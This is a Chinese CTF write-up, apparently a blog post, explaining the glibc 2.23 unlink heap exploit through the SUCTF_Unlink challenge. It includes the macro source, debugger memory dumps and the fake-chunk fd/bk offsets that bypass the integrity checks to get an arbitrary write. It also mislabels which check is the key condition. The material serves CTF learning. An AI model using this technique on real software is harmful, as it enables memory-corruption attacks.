通过构造fake chunk,触发unlink宏。我们可以获得任意地址写的能力。
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
glibc 2.23中的unlink宏源码是这样的。
有个最重要条件是我们需要满足的:
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
可以简化为这样:
P->fd->bk == P // Chunk P的fd指针指向的chunk的bk指针是否指向P
P->bk->fd == P // Chunk P的bk指针指向的chunk的fd指针是否指向P
光说可能不是很好理解,这里给出一个例子:
题:SUCTF_Unlink
addr prev size status fd bk
0x23a6000 0x0 0x30 Freed 0x0 0x20
0x23a6030 0x20 0x90 Used None None
0x23a60c0 0x0 0x110 Used None None
现在有这么三个chunk,其中我们已经构造好了Unlink的Payload。
0x23a6000: 0x0000000000000000 0x0000000000000031
0x23a6010: 0x0000000000000000 0x0000000000000020 // fake chunk的size
0x23a6020: 0x00000000006020a8 0x00000000006020b0 // 0x00000000006020a8 fake chunk的fd, 0x00000000006020b0 fake chunk的bk
0x23a6030: 0x0000000000000020 0x0000000000000090 // fake chunk的size
0x23a6040: 0x000000000000000a 0x0000000000000000
根据P->fd->bk == P
,也就是fake_chunk的fd指针指向的bk指针是否等于fake_chunk
,我们直接查看这个fd指向了哪里。
0x6020a8 <completed>: 0x0000000000000000 0x0000000000000000
0x6020b8: 0x0000000000000000 0x00000000023a6010
0x6020c8 <buf+8>: 0x00000000023a6040 0x00000000023a60d0
乍一看可能有点一头雾水,那么如果我们把这段看成一个chunk结构体呢?
// prev_size size
0x6020a8 <completed>: 0x0000000000000000 0x0000000000000000
// fd bk
0x6020b8: 0x0000000000000000 0x00000000023a6010
// data
0x6020c8 <buf+8>: 0x00000000023a6040 0x00000000023a60d0
现在就明朗起来了。P->fd->bk == P
,P是fake_chunk,也就是0x00000000023a6010
,fd是0x00000000006020a8
,0x00000000006020a8
的bk是0x00000000023a6010
。
因此表达式P->fd->bk == P
成立。
我们再看P->bk->fd == P
,fake_chunk的bk指针指向的fd指针的指向是否等于fake_chunk
。
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0 <buf>: 0x00000000023a6010 0x00000000023a6040
P是fake_chunk,0x00000000023a6010
,bk是0x00000000006020b0
,指向的fd是0x00000000023a6010
,也就是我们的fake_chunk。
而这个fd和bk值是怎么算出来的呢?
这题的堆块指针位于bss段内,是0x6020C0
,向前推0x18
就是complete。
complete,或者说buf
指向了0x00000000023a6010
,这段恰好满足我们的unlink需求。
反之,另一个也是这个道理。因此我们只需要在chunk_ptr上减去0x18
和0x10
即可获得我们的fd和bk。
实际上 chunk_ptr - 0x18
和chunk_ptr - 0x10
指向的都是同一个地方。
pwndbg> x/8gx 0x00000000006020C0 - 0x18
0x6020a8 <completed>: 0x0000000000000000 0x0000000000000000
0x6020b8: 0x0000000000000000 0x0000000000dc1010
0x6020c8 <buf+8>: 0x0000000000dc1040 0x0000000000dc10d0
0x6020d8 <buf+24>: 0x0000000000000000 0x0000000000000000
pwndbg> x/8gx 0x00000000006020C0 - 0x10
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0 <buf>: 0x0000000000dc1010 0x0000000000dc1040
0x6020d0 <buf+16>: 0x0000000000dc10d0 0x0000000000000000
0x6020e0 <buf+32>: 0x0000000000000000 0x0000000000000000
因此2个if条件都通过了,总结一下绕过方法是:
fake_chunk的fd指针就是 chunk_ptr - 0x18
fake_chunk的bk指针就是 chunk_ptr - 0x10